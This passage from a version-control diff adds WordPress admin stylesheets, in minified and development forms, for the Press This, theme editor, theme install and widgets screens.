url(../images/xit.gif) no-repeat 0 0;}#poststuff #edButtonPreview,#poststuff #edButtonHTML{-moz-border-radius:3px 3px 0 0;-webkit-border-top-right-radius:3px;-webkit-border-top-left-radius:3px;-khtml-border-top-right-radius:3px;-khtml-border-top-left-radius:3px;border-top-right-radius:3px;border-top-left-radius:3px;border-style:solid;border-width:1px;cursor:pointer;display:block;height:18px;margin:0 5px 0 0;padding:0 5px 0;font-size:10px;line-height:18px;float:left;}.howto{margin-top:2px;margin-bottom:3px;font-size:11px;font-style:italic;display:block;}input.text{outline-color:-moz-use-text-color;outline-style:none;outline-width:medium;width:100%;}#message{-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;}div#poststuff{margin:10px;}div.zerosize{border:0 none;height:0;margin:0;overflow:hidden;padding:0;width:0;}#poststuff #edButtonPreview.active,#poststuff #edButtonHTML.active{display:none;}.posting{margin-right:212px;position:relative;}#side-info-column{float:right;width:200px;position:relative;right:0;}#side-info-column .sleeve{padding-top:5px;}#poststuff .inside{font-size:11px;margin:8px;}#poststuff h2,#poststuff h3{font-size:12px;font-weight:bold;line-height:1;margin:0;padding:7px 9px;}#tagsdiv-post_tag h3,#categorydiv h3{cursor:pointer;}h3.tb{text-shadow:0 1px 0 #fff;font-weight:bold;font-size:12px;margin-left:5px;}#TB_window{border:1px solid #333;-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;}.postbox,.stuffbox{margin-bottom:10px;border-width:1px;border-style:solid;line-height:1;-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;}.stuffbox:hover .handlediv{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px;}.handlediv{float:right;height:26px;width:23px;}#title,.tbtitle{-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;border-style:solid;border-width:1px;font-size:1.7em;outline:none;padding:3px 4px;border-color:#dfdfdf;}.tbtitle{font-size:12px;padding:3px;}#title{width:97%;}.editor-container{-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;border:1px solid #dfdfdf;background-color:#fff;}.postdivrich{padding-top:25px;position:relative;}.actions{float:right;margin:-19px 0 0;}#extra-fields .actions{margin:-15px -5px 0 0;}.actions li{float:left;list-style:none;margin-right:10px;}#extra-fields .button{margin-right:5px;padding:3px 6px;border-radius:10px;-webkit-border-radius:10px;-khtml-border-radius:10px;-moz-border-radius:10px;}.photolist{margin-top:-10px;}#photo_saving{margin:0 8px 8px;vertical-align:middle;}#img_container{background-color:#fff;}#img_container_container{overflow:auto;}#extra-fields{margin-top:10px;position:relative;}#waiting{margin-top:10px;}#extra-fields .postbox{margin-bottom:5px;}#extra-fields .titlewrap{padding:0;overflow:auto;height:100px;}#img_container a{display:block;float:left;overflow:hidden;vertical-align:center;}#img_container img,#img_container a{width:68px;height:68px;}#img_container img{border:none;background-color:#f4f4f4;cursor:pointer;}#img_container a,#img_container a:link,#img_container a:visited{border:1px solid #ccc;display:block;position:relative;}#img_container a:hover,#img_container a:active{border-color:#000;z-index:1000;border-width:2px;margin:-1px;}#embed-code{width:100%;height:98px;}#viewsite{padding:0;margin:0 0 20px 5px;font-size:10px;clear:both;}.wp-hidden-children .wp-hidden-child{display:none;}#category-adder{padding:4px 0;}#category-adder h4{margin:0 0 8px;}#category-add input{width:94%;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:13px;margin:1px;padding:3px;}#category-add select{width:70%;-x-system-font:none;border-style:solid;border-width:1px;font-family:"Lucida Grande","Bitstream Vera Sans",Verdana,Arial,sans-serif;font-size:12px;height:2em;line-height:20px;padding:2px;margin:1px;vertical-align:top;}#category-add input,#category-add-sumbit{width:auto;}#categorydiv ul,#linkcategorydiv ul{list-style:none;padding:0;margin:0;}#categorydiv ul.categorychecklist ul{margin-left:18px;}#categorydiv div.tabs-panel{height:140px;overflow:auto;}ul.categorychecklist li{margin:0;padding:0;line-height:19px;}.screen-reader-text{display:none;}.tagsdiv .newtag{margin-right:5px;}.jaxtag{clear:both;margin:0;}.tagadd{margin-left:3px;}.tagchecklist{margin-top:3px;margin-bottom:1em;font-size:12px;overflow:auto;}.tagchecklist strong{position:absolute;font-size:.75em;}.tagchecklist span{margin-right:.5em;margin-left:10px;display:block;float:left;font-size:11px;line-height:1.8em;white-space:nowrap;cursor:default;}.tagchecklist span a{margin:6px 0 0 -9px;cursor:pointer;width:10px;height:10px;display:block;float:left;text-indent:-9999px;overflow:hidden;position:absolute;}#content{margin:5px 0;padding:0 5px;border:0 none;height:365px;width:97%!important;}* html .postdivrich{zoom:1;}#saving{display:inline;vertical-align:middle;}.submit input,.button,.button-primary,.button-secondary,.button-highlighted,#postcustomstuff .submit input{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;text-decoration:none;font-size:11px!important;line-height:16px;padding:2px 8px;cursor:pointer;border-width:1px;border-style:solid;-moz-border-radius:11px;-khtml-border-radius:11px;-webkit-border-radius:11px;border-radius:11px;}.button-primary{background:#21759B url(../images/button-grad.png) repeat-x scroll left top;border-color:#21759B;color:#fff;}.ac_results{padding:0;margin:0;list-style:none;position:absolute;z-index:10000;display:none;border-width:1px;border-style:solid;}.ac_results li{padding:2px 5px;white-space:nowrap;text-align:left;}.ac_over{cursor:pointer;}.ac_match{text-decoration:underline;}#TB_ajaxContent #options{position:absolute;top:20px;right:25px;padding:5px;}#TB_ajaxContent h3{margin-bottom:.25em;}.updated{margin:10px 0;padding:0;border-width:1px;border-style:solid;width:99%;}.updated p,.error p{margin:.6em 0;padding:0 .6em;}.error a{text-decoration:underline;}.updated a{text-decoration:none;padding-bottom:2px;}#post_status{margin-left:10px;margin-bottom:1em;display:block;}#footer{height:65px;display:block;width:640px;padding:10px 0 0 60px;margin:0;position:absolute;bottom:0;font-size:12px;}#footer p{margin:0;padding:7px 0;}#footer p a{text-decoration:none;}#footer p a:hover{text-decoration:underline;}.centered{text-align:center;}.hidden{display:none;}.postbox input[type="text"],.postbox textarea,.stuffbox input[type="text"],.stuffbox textarea{border-width:1px;border-style:solid;}.taghint{color:#aaa;margin:-17px 0 0 7px;visibility:hidden;}input.newtag ~ div.taghint{visibility:visible;}input.newtag:focus ~ div.taghint{visibility:hidden;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/press-this.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/press-this.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,586 @@ + +body { + font: 13px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; + color: #333; + margin: 0; + padding: 0; + min-width: 675px; + min-height: 400px; +} + +img { + border: none; +} + +/* Header */ +#wphead { + border-top: none; + padding-top: 4px; + background: #444 !important; +} + +.tagchecklist span a { + background: transparent url(../images/xit.gif) no-repeat 0 0; +} + +#poststuff #edButtonPreview, +#poststuff #edButtonHTML { + -moz-border-radius: 3px 3px 0 0; + -webkit-border-top-right-radius: 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-right-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-right-radius: 3px; + border-top-left-radius: 3px; + border-style: solid; + border-width: 1px; + cursor: pointer; + display: block; + height: 18px; + margin: 0 5px 0 0; + padding: 0 5px 0; + font-size: 10px; + line-height: 18px; + float: left; +} + +.howto { + margin-top: 2px; + margin-bottom: 3px; + font-size: 11px; + font-style: italic; + display: block; +} + +input.text { + outline-color: -moz-use-text-color; + outline-style: none; + outline-width: medium; + width: 100%; +} + +#message { + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; +} + +/* Editor/Main Column */ +div#poststuff { + margin: 10px; +} + +div.zerosize { + border: 0 none; + height: 0; + margin: 0; + overflow: hidden; + padding: 0; + width: 0; +} + +#poststuff #edButtonPreview.active, +#poststuff #edButtonHTML.active { + display: none; +} + +.posting { + margin-right: 212px; + position: relative; +} + +#side-info-column { + float: right; + width: 200px; + position: relative; + right: 0; +} + +#side-info-column .sleeve { + padding-top: 5px; +} + +#poststuff .inside { + font-size: 11px; + margin: 8px; +} + +#poststuff h2,#poststuff h3 { + font-size: 12px; + font-weight: bold; + line-height: 1; + margin: 0; + padding: 7px 9px; +} + +#tagsdiv-post_tag h3, +#categorydiv h3 { + cursor: pointer; +} + +h3.tb { + text-shadow: 0 1px 0 #fff; + font-weight: bold; + font-size: 12px; + margin-left: 5px; +} + +#TB_window { + border: 1px solid #333; + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; +} + +.postbox, +.stuffbox { + margin-bottom: 10px; + border-width: 1px; + border-style: solid; + line-height: 1; + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; +} + +.stuffbox:hover .handlediv { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px; +} + +.handlediv { + float: right; + height: 26px; + width: 23px; +} + +#title, +.tbtitle { + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; + border-style: solid; + border-width: 1px; + font-size: 1.7em; + outline: none; + padding: 3px 4px; + border-color: #dfdfdf; +} + +.tbtitle { + font-size: 12px; + padding: 3px; +} + +#title { + width: 97%; +} + +.editor-container { + -moz-border-radius: 6px; + -khtml-border-radius: 6px; + -webkit-border-radius: 6px; + border-radius: 6px; + border: 1px solid #dfdfdf; + background-color: #fff; +} + +.postdivrich { + padding-top: 25px; + position: relative; +} + +.actions { + float: right; + margin: -19px 0 0; +} + +#extra-fields .actions { + margin: -15px -5px 0 0; +} + +.actions li { + float: left; + list-style: none; + margin-right: 10px; +} + +#extra-fields .button { + margin-right: 5px; + padding: 3px 6px; + border-radius: 10px; + -webkit-border-radius: 10px; + -khtml-border-radius: 10px; + -moz-border-radius: 10px; +} + +/* Photo Styles */ +.photolist { + margin-top: -10px; +} + +#photo_saving { + margin: 0 8px 8px; + vertical-align: middle; +} + +#img_container { + background-color: #fff; +} + +#img_container_container { + overflow: auto; +} + +#extra-fields { + margin-top: 10px; + position: relative; +} + +#waiting { + margin-top: 10px; +} + +#extra-fields .postbox { + margin-bottom: 5px; +} + +#extra-fields .titlewrap { + padding: 0; + overflow: auto; + height: 100px; +} + +#img_container a { + display: block; + float: left; + overflow: hidden; + vertical-align: center; +} + +#img_container img, +#img_container a { + width: 68px; + height: 68px; +} + +#img_container img { + border: none; + background-color: #f4f4f4; + cursor: pointer; +} + +#img_container a, +#img_container a:link, +#img_container a:visited { + border: 1px solid #ccc; + display: block; + position: relative; +} + +#img_container a:hover, +#img_container a:active { + border-color: #000; + z-index: 1000; + border-width: 2px; + margin: -1px; +} + +/* Video */ +#embed-code { + width: 100%; + height: 98px; +} + +/* Submit Column */ +#viewsite { + padding: 0; + margin: 0 0 20px 5px; + font-size: 10px; + clear: both; +} + +.wp-hidden-children +.wp-hidden-child { + display: none; +} + +#category-adder { + padding: 4px 0; +} + +#category-adder h4 { + margin: 0 0 8px; +} + +#category-add input { + width: 94%; + font-family: Verdana,Arial,Helvetica,sans-serif; + font-size: 13px; + margin: 1px; + padding: 3px; +} + +#category-add select { + width: 70%; + -x-system-font: none; + border-style: solid; + border-width: 1px; + font-family: "Lucida Grande","Bitstream Vera Sans",Verdana,Arial,sans-serif; + font-size: 12px; + height: 2em; + line-height: 20px; + padding: 2px; + margin: 1px; + vertical-align: top; +} + +#category-add input, +#category-add-sumbit { + width: auto; +} + +/* Categories */ +#categorydiv ul, +#linkcategorydiv ul { + list-style: none; + padding: 0; + margin: 0; +} + +#categorydiv ul.categorychecklist ul { + margin-left: 18px; +} + +#categorydiv div.tabs-panel { + height: 140px; + overflow: auto; +} + +ul.categorychecklist li { + margin: 0; + padding: 0; + line-height: 19px; +} + +/* Tags */ +.screen-reader-text { + display: none; +} + +.tagsdiv .newtag { + margin-right: 5px; +} + +.jaxtag { + clear: both; + margin: 0; +} + +.tagadd { + margin-left: 3px; +} + +.tagchecklist { + margin-top: 3px; + margin-bottom: 1em; + font-size: 12px; + overflow: auto; +} + +.tagchecklist strong { + position: absolute; + font-size: .75em; +} + +.tagchecklist span { + margin-right: .5em; + margin-left: 10px; + display: block; + float: left; + font-size: 11px; + line-height: 1.8em; + white-space: nowrap; + cursor: default; +} + +.tagchecklist span a { + margin: 6px 0 0 -9px; + cursor: pointer; + width: 10px; + height: 10px; + display: block; + float: left; + text-indent: -9999px; + overflow: hidden; + position: absolute; +} + +#content { + margin: 5px 0; + padding: 0 5px; + border: 0 none; + height: 365px; + width: 97% !important; +} + +* html .postdivrich { + zoom: 1; +} + +/* Submit */ +#saving { + display: inline; + vertical-align: middle; +} + +.submit input, +.button, +.button-primary, +.button-secondary, +.button-highlighted, +#postcustomstuff .submit input { + font-family: "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; + text-decoration: none; + font-size: 11px !important; + line-height: 16px; + padding: 2px 8px; + cursor: pointer; + border-width: 1px; + border-style: solid; + -moz-border-radius: 11px; + -khtml-border-radius: 11px; + -webkit-border-radius: 11px; + border-radius: 11px; +} + +.button-primary { + background: #21759B url(../images/button-grad.png) repeat-x scroll left top; + border-color: #21759B; + color: #fff; +} + +.ac_results { + padding: 0; + margin: 0; + list-style: none; + position: absolute; + z-index: 10000; + display: none; + border-width: 1px; + border-style: solid; +} + +.ac_results li { + padding: 2px 5px; + white-space: nowrap; + text-align: left; +} + +.ac_over { + cursor: pointer; +} + +.ac_match { + text-decoration: underline; +} + +#TB_ajaxContent #options { + position: absolute; + top: 20px; + right: 25px; + padding: 5px; +} + +#TB_ajaxContent h3 { + margin-bottom: .25em; +} + +.updated { + margin: 10px 0; + padding: 0; + border-width: 1px; + border-style: solid; + width: 99%; +} + +.updated p, +.error p { + margin: 0.6em 0; + padding: 0 0.6em; +} + +.error a { + text-decoration: underline; +} + +.updated a { + text-decoration: none; + padding-bottom: 2px; +} + +#post_status { + margin-left: 10px; + margin-bottom: 1em; + display: block; +} + +/* Footer */ +#footer { + height: 65px; + display: block; + width: 640px; + padding: 10px 0 0 60px; + margin: 0; + position: absolute; + bottom: 0; + font-size: 12px; +} + +#footer p { + margin: 0; + padding: 7px 0; +} + +#footer p a { + text-decoration: none; +} + +#footer p a:hover { + text-decoration: underline; +} + +/* Utility Classes */ +.centered { + text-align: center; +} + +.hidden { + display: none; +} + +.postbox input[type="text"], +.postbox textarea, +.stuffbox input[type="text"], +.stuffbox textarea { + border-width: 1px; + border-style: solid; +} + +/* tag hints */ +.taghint { + color: #aaa; + margin: -17px 0 0 7px; + visibility: hidden; +} + +input.newtag ~ div.taghint { + visibility: visible; +} + +input.newtag:focus ~ div.taghint { + visibility: hidden; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/theme-editor-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/theme-editor-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +#templateside { + float: left; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/theme-editor.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/theme-editor.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +#template textarea{font-family:Consolas,Monaco,Courier,monospace;font-size:12px;width:97%;}#template p{width:97%;}#templateside{float:right;width:190px;word-wrap:break-word;}#templateside h3,#postcustomstuff p.submit{margin:0;}#templateside h4{margin:1em 0 0;}#templateside ol,#templateside ul{margin:.5em;padding:0;}#templateside li{margin:4px 0;}.nonessential{font-size:small;}.highlight{padding:1px;}div.tablenav{margin-right:210px;}#documentation{margin-top:10px;}#documentation label{line-height:22px;vertical-align:top;font-weight:bold;}.fileedit-sub{padding:10px 0 8px;line-height:180%;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/theme-editor.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/theme-editor.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,60 @@ +#template textarea { + font-family: Consolas, Monaco, Courier, monospace; + font-size: 12px; + width: 97%; +} + +#template p { + width: 97%; +} + +#templateside { + float: right; + width: 190px; + word-wrap: break-word; +} + +#templateside h3, +#postcustomstuff p.submit { + margin: 0; +} + +#templateside h4 { + margin: 1em 0 0; +} + +#templateside ol, +#templateside ul { + margin: .5em; + padding: 0; +} + +#templateside li { + margin: 4px 0; +} + +.nonessential { + font-size: small; +} + +.highlight { + padding: 1px; +} + +div.tablenav { + margin-right: 210px; +} + +#documentation { + margin-top: 10px; +} +#documentation label { + line-height: 22px; + vertical-align: top; + font-weight: bold; +} + +.fileedit-sub { + padding: 10px 0 8px; + line-height: 180%; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/theme-install.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/theme-install.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +div.star-holder{position:relative;height:19px;width:100px;font-size:19px;}div.star{height:100%;position:absolute;top:0;left:0;background-color:transparent;letter-spacing:1ex;border:none;}.star1{width:20%;}.star2{width:40%;}.star3{width:60%;}.star4{width:80%;}.star5{width:100%;}.star img,div.star a,div.star a:hover,div.star a:visited{display:block;position:absolute;right:0;border:none;text-decoration:none;}div.star img{width:19px;height:19px;border-left:1px solid #fff;border-right:1px solid #fff;}.theme-listing .theme-item{display:inline-block;width:200px;border:thin solid #ccc;vertical-align:top;}.theme-listing .theme-item h3{text-align:center;font-size:14px;font-style:italic;margin:0;padding:0;}.theme-listing .theme-item img{max-width:150px;max-height:150px;}.theme-listing .theme-item-info span{display:none;}.theme-listing .theme-item:hover .theme-item-info span{display:inline;}.theme-listing .theme-item:hover .theme-item-info span.dots{display:none;}.theme-listing .theme-item-info span.action-links{font-weight:bold;text-align:center;}.theme-listing br.line{border-bottom-width:1px;border-bottom-style:solid;margin-bottom:3px;}.available-theme{padding:20px 15px;}#theme-information .theme-preview-img{float:left;margin:5px 25px 10px 15px;width:300px;}#theme-information .action-button{border-top-width:1px;border-top-style:solid;margin:10px 5px 20px;}#theme-information .action-button #cancel{float:left;margin:10px 15px;}#theme-information .action-button #install{float:right;margin:10px 15px;}#theme-information .available-theme h3{margin:1em 0;}body#theme-information{height:auto;}.feature-filter{-moz-border-radius:8px;-khtml-border-radius:8px;-webkit-border-radius:8px;border-radius:8px;border-width:1px;border-style:solid;padding:8px 12px 0;}.feature-filter .feature-group{float:left;margin-bottom:20px;width:695px;}.feature-filter .feature-name{float:left;text-align:right;width:95px;}.feature-filter .feature-group li{display:inline;float:left;list-style-type:none;padding-right:25px;min-width:145px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/theme-install.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/theme-install.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,142 @@ +/* NOTE: the following CSS rules(.star*) are taken more or less straight from the bbPress rating plugin. */ +div.star-holder { + position: relative; + height: 19px; + width: 100px; + font-size: 19px; +} + +div.star { + height: 100%; + position: absolute; + top: 0; + left: 0; + background-color: transparent; + letter-spacing: 1ex; + border: none; +} + +.star1 { width: 20%; } +.star2 { width: 40%; } +.star3 { width: 60%; } +.star4 { width: 80%; } +.star5 { width: 100%; } + +.star img, div.star a, div.star a:hover, div.star a:visited { + display: block; + position: absolute; + right: 0; + border: none; + text-decoration: none; +} + +div.star img { + width: 19px; + height: 19px; + border-left: 1px solid #fff; + border-right: 1px solid #fff; +} + +.theme-listing .theme-item { + display: inline-block; + width: 200px; + border: thin solid #ccc; + vertical-align: top; +} + +.theme-listing .theme-item h3 { + text-align: center; + font-size: 14px; + font-style: italic; + margin: 0; + padding: 0; +} + +.theme-listing .theme-item img { + max-width: 150px; + max-height: 150px; +} + +.theme-listing .theme-item-info span { + display: none; +} +.theme-listing .theme-item:hover .theme-item-info span { + display: inline; +} +.theme-listing .theme-item:hover .theme-item-info span.dots { + display: none; +} +.theme-listing .theme-item-info span.action-links { + font-weight: bold; + text-align: center; +} + +.theme-listing br.line { + border-bottom-width: 1px; + border-bottom-style: solid; + margin-bottom: 3px; +} + +.available-theme { + padding: 20px 15px; +} + +#theme-information .theme-preview-img { + float: left; + margin: 5px 25px 10px 15px; + width: 300px; +} + +#theme-information .action-button { + border-top-width: 1px; + border-top-style: solid; + margin: 10px 5px 20px; +} + +#theme-information .action-button #cancel { + float: left; + margin: 10px 15px; +} + +#theme-information .action-button #install { + float: right; + margin: 10px 15px; +} + +#theme-information .available-theme h3 { + margin: 1em 0; +} + +body#theme-information { + height: auto; +} + +.feature-filter { + -moz-border-radius: 8px; + -khtml-border-radius: 8px; + -webkit-border-radius: 8px; + border-radius: 8px; + border-width: 1px; + border-style: solid; + padding: 8px 12px 0; +} + +.feature-filter .feature-group { + float: left; + margin-bottom: 20px; + width: 695px; +} + +.feature-filter .feature-name { + float: left; + text-align: right; + width: 95px; +} + +.feature-filter .feature-group li { + display: inline; + float: left; + list-style-type: none; + padding-right: 25px; + min-width: 145px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/widgets-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/widgets-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ + +ul#widget-list li.widget-list-item div.widget-description { + margin: 0 200px 0 0; + padding: 0 4em 0 0; +} +.widget-control-save, +.widget-control-remove { + margin-right: 0; + margin-left: 8px; + float: right; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/widgets.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/widgets.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +html,body{min-width:950px;}div.widget-liquid-left{float:left;clear:left;width:100%;margin-right:-325px;}div#widgets-left{margin-left:5px;margin-right:325px;}div#widgets-right{width:285px;margin:0 auto;}div.widget-liquid-right{float:right;clear:right;width:300px;}.widget-liquid-right .widget,#wp_inactive_widgets .widget,.widget-liquid-right .sidebar-description{width:250px;margin:0 auto 20px;overflow:hidden;}.widget-liquid-right .sidebar-description{margin-bottom:10px;}#wp_inactive_widgets .widget{margin:0 10px 20px;float:left;}div.sidebar-name h3{margin:0;padding:5px 12px;font-size:13px;height:19px;overflow:hidden;white-space:nowrap;}div.sidebar-name{background-repeat:repeat-x;background-position:0 0;cursor:pointer;font-size:13px;border-width:1px;border-style:solid;-moz-border-radius-topleft:8px;-moz-border-radius-topright:8px;-webkit-border-top-right-radius:8px;-webkit-border-top-left-radius:8px;-khtml-border-top-right-radius:8px;-khtml-border-top-left-radius:8px;border-top-right-radius:8px;border-top-left-radius:8px;}.js .closed .sidebar-name{-moz-border-radius-bottomleft:8px;-moz-border-radius-bottomright:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-bottom-left-radius:8px;-khtml-border-bottom-right-radius:8px;-khtml-border-bottom-left-radius:8px;border-bottom-right-radius:8px;border-bottom-left-radius:8px;}.widget-liquid-right .widgets-sortables,#widgets-left .widget-holder{border-width:0 1px 1px;border-style:none solid solid;-moz-border-radius-bottomleft:8px;-moz-border-radius-bottomright:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-bottom-left-radius:8px;-khtml-border-bottom-right-radius:8px;-khtml-border-bottom-left-radius:8px;border-bottom-right-radius:8px;border-bottom-left-radius:8px;}.js .closed .widgets-sortables,.js .closed .widget-holder{display:none;}.widget-liquid-right .widgets-sortables{padding:15px 0 0;}#available-widgets .widget-holder{padding:7px 5px 0;}#wp_inactive_widgets{padding:5px 5px 0;}#widget-list .widget{width:250px;margin:0 10px 15px;border:0 none;float:left;}#widget-list .widget-description{padding:5px 8px;}#widget-list .widget-top{border-width:1px;border-style:solid;-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;}.widget-placeholder{border-width:1px;border-style:dashed;margin:0 auto 20px;height:26px;width:250px;}#wp_inactive_widgets .widget-placeholder{margin:0 10px 20px;float:left;}div.widgets-holder-wrap{padding:0;margin:10px 0 20px;}#widgets-left #available-widgets{background-color:transparent;border:0 none;}ul#widget-list{list-style:none;margin:0;padding:0;min-height:100px;}.widget .widget-top{font-size:12px;font-weight:bold;height:26px;overflow:hidden;}.widget-top .widget-title{padding:5px 9px;}.widget-top .widget-title-action{float:right;}a.widget-action{display:block;width:24px;height:26px;}#available-widgets a.widget-action{display:none;}.widget-top a.widget-action{background:url("../images/menu-bits.gif") no-repeat scroll 0 -110px;}.widget .widget-inside,.widget .widget-description{padding:12px 12px 10px;font-size:11px;line-height:16px;}.widget-inside,.widget-description{display:none;}#available-widgets .widget-description{display:block;}.widget .widget-inside p{margin:0 0 1em;padding:0;}.widget-title h4{margin:0;line-height:1.3;overflow:hidden;white-space:nowrap;}.widgets-sortables{min-height:90px;}.widget-control-actions{margin-top:8px;}.widget-control-actions a{text-decoration:none;}.widget-control-actions a:hover{text-decoration:underline;}.widget-control-actions .ajax-feedback{padding-bottom:3px;}.widget-control-actions div.alignleft{margin-top:6px;}div#sidebar-info{padding:0 1em;margin-bottom:1em;font-size:11px;}.widget-title a,.widget-title a:hover{text-decoration:none;border-bottom:none;}.widget-control-edit{display:block;font-size:11px;font-weight:normal;line-height:26px;padding:0 8px 0 0;}a.widget-control-edit{text-decoration:none;}.widget-control-edit .add,.widget-control-edit .edit{display:none;}#available-widgets .widget-control-edit .add,#widgets-right .widget-control-edit .edit,#wp_inactive_widgets .widget-control-edit .edit{display:inline;}.editwidget{margin:0 auto 15px;}.editwidget .widget-inside{display:block;border-width:1px;border-style:solid;padding:10px;-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;}.inactive p.description{margin:5px 15px 8px;}#available-widgets p.description{margin:0 12px 12px;}.widget-position{margin-top:8px;}.inactive{padding-top:2px;}.sidebar-name-arrow{float:right;height:29px;width:26px;}.widget-title .in-widget-title{font-size:11px;white-space:nowrap;}#removing-widget{display:none;font-weight:normal;padding-left:15px;font-size:12px;}.widget-control-noform,#access-off,.widgets_access .widget-action,.widgets_access .sidebar-name-arrow,.widgets_access #access-on,.widgets_access .widget-holder .description{display:none;}.widgets_access .widget-holder,.widgets_access #widget-list{padding-top:10px;}.widgets_access #access-off{display:inline;}.widgets_access #wpbody-content .widget-title-action,.widgets_access #wpbody-content .widget-control-edit,.widgets_access .closed .widgets-sortables,.widgets_access .closed .widget-holder{display:block;}.widgets_access .closed .sidebar-name{-moz-border-radius-bottomleft:0;-moz-border-radius-bottomright:0;-webkit-border-bottom-right-radius:0;-webkit-border-bottom-left-radius:0;-khtml-border-bottom-right-radius:0;-khtml-border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0;}.widgets_access .sidebar-name,.widgets_access .widget .widget-top{cursor:default;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/widgets.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/widgets.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,370 @@ +html, +body { + min-width: 950px; +} + +/* 2 column liquid layout */ +div.widget-liquid-left { + float: left; + clear: left; + width: 100%; + margin-right: -325px; +} + +div#widgets-left { + margin-left: 5px; + margin-right: 325px; +} + +div#widgets-right { + width: 285px; + margin: 0 auto; +} + +div.widget-liquid-right { + float: right; + clear: right; + width: 300px; +} + +.widget-liquid-right .widget, +#wp_inactive_widgets .widget, +.widget-liquid-right .sidebar-description { + width: 250px; + margin: 0 auto 20px; + overflow: hidden; +} + +.widget-liquid-right .sidebar-description { + margin-bottom: 10px; +} + +#wp_inactive_widgets .widget { + margin: 0 10px 20px; + float: left; +} + +div.sidebar-name h3 { + margin: 0; + padding: 5px 12px; + font-size: 13px; + height: 19px; + overflow: hidden; + white-space: nowrap; +} + +div.sidebar-name { + background-repeat: repeat-x; + background-position: 0 0; + cursor: pointer; + font-size: 13px; + border-width: 1px; + border-style: solid; + -moz-border-radius-topleft: 8px; + -moz-border-radius-topright: 8px; + -webkit-border-top-right-radius: 8px; + -webkit-border-top-left-radius: 8px; + -khtml-border-top-right-radius: 8px; + -khtml-border-top-left-radius: 8px; + border-top-right-radius: 8px; + border-top-left-radius: 8px; +} + +.js .closed .sidebar-name { + -moz-border-radius-bottomleft: 8px; + -moz-border-radius-bottomright: 8px; + -webkit-border-bottom-right-radius: 8px; + -webkit-border-bottom-left-radius: 8px; + -khtml-border-bottom-right-radius: 8px; + -khtml-border-bottom-left-radius: 8px; + border-bottom-right-radius: 8px; + border-bottom-left-radius: 8px; +} + +.widget-liquid-right .widgets-sortables, +#widgets-left .widget-holder { + border-width: 0 1px 1px; + border-style: none solid solid; + -moz-border-radius-bottomleft: 8px; + -moz-border-radius-bottomright: 8px; + -webkit-border-bottom-right-radius: 8px; + -webkit-border-bottom-left-radius: 8px; + -khtml-border-bottom-right-radius: 8px; + -khtml-border-bottom-left-radius: 8px; + border-bottom-right-radius: 8px; + border-bottom-left-radius: 8px; +} + +.js .closed .widgets-sortables, +.js .closed .widget-holder { + display: none; +} + +.widget-liquid-right .widgets-sortables { + padding: 15px 0 0; +} + +#available-widgets .widget-holder { + padding: 7px 5px 0; +} + +#wp_inactive_widgets { + padding: 5px 5px 0; +} 